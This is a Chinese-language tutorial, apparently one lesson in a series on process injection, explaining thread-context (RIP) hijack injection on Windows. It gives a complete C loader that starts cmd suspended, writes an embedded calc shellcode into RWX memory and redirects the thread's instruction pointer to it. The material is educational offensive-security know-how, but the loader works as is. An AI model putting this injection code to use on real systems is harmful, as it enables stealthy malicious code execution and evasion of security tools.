# 12-设置上下文劫持注入（SetContext Hijack Injection）

## 一、前言

我们再来回顾一下在注入中常用寄存器的调用约定

```c
// x64 注入
ctx.Rcx = 入口点地址  
ctx.Rdx = PEB地址
ctx.Rip = 入口点

// x86 注入 
ctx.Eax = 入口点地址
ctx.Ebx = PEB地址
ctx.Eip = 入口点
```

在x64架构中，`RCX` 和 `RIP` 是非常重要的寄存器，它们在程序执行和函数调用中扮演着关键角色。在 `进程镂空注入（Process Hollowing Injection）` 那一下节中我介绍了通过 `RCX` 在进程**初始化**阶段改变程序的入口点，进而完全劫持进程入口点（间接控制）。而本节介绍的通过 `RIP` 劫持程序的原理是与 `RCX` 完全不一的原理，`RIP` 在进程注入中的核心原理是直接控制程序执行流程。

通过 `RCX` 劫持程序技术原理的核心是：重定位程序入口点，劫持进程初始执行流程，可以作为指令指针重定向。

而通过 `RIP` 劫持程序的技术原理的核心是：完全劫持程序执行流，无条件跳转到指定内存地址，绕过正常程序逻辑。

## 二、流程

1. **使用 `CreateProcessA` 创建一个进程，并设置为挂起状态（CREATE\_SUSPENDED）**。官方文档：[CreateProcessA 函数 （processthreadsapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa)
2. **使用 `VirtualAllocEx` 在目标进程中申请一块 `PAGE_EXECUTE_READWRITE` 的内存区域**。官方文档：[VirtualAllocEx 函数 （memoryapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex)
3. **使用 `WriteProcessMemory` 将shellcode写入目标内存区域中**。官方文档：[WriteProcessMemory 函数 (memoryapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory)
4. **使用 `GetThreadContext` 获取指定线程上下文**。官方文档：[GetThreadContext 函数 （processthreadsapi.h） - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext)
5. **将RIP寄存器的值修改为shellcode存放的内存区域的起始地址**。
6. **使用 `SetThreadContext+ResumeThread` 设置线程上下文与恢复挂起进程**
   * `SetThreadContext` 官方文档：[SetThreadContext 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-setthreadcontext)
   * `ResumeThread` 官方文档：[ResumeThread 函数 (processthreadsapi.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-resumethread)

## 三、代码实现

```go
#include<Windows.h>
#include<stdio.h>

int main() {
    // calc shellcode
	unsigned char shellcode[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3
	};

	// 定义一些变量
	STARTUPINFOA si = { 0 };
	si.cb = sizeof(si);
	PROCESS_INFORMATION pi = { 0 };
	CONTEXT ctx = { 0 };
	ctx.ContextFlags = CONTEXT_ALL;

	// 使用 `CreateProcessA` 创建一个进程，并设置为挂起状态（CREATE_SUSPENDED）
	CreateProcessA(NULL, (LPSTR)"cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

	// 使用 `VirtualAllocEx` 在目标进程中申请一块 `PAGE_EXECUTE_READWRITE` 的内存区域
	LPVOID lpBuffer = VirtualAllocEx(pi.hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 使用 `WriteProcessMemory` 将shellcode写入目标内存区域中
	WriteProcessMemory(pi.hProcess, lpBuffer, shellcode, sizeof(shellcode), NULL);

	// 使用 `GetThreadContext` 获取指定线程上下文
	GetThreadContext(pi.hThread, &ctx);

	// 将RIP寄存器的值修改为shellcode存放的内存区域的起始地址
	ctx.Rip = (DWORD64)lpBuffer;

	// 使用 `SetThreadContext+ResumeThread` 设置线程上下文与恢复挂起进程
	SetThreadContext(pi.hThread, &ctx);
	ResumeThread(pi.hThread);
	return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/14/14-05-09-49b92b17e4890f409bd0be955ac4941a-20250114140509-9b0a71.png)
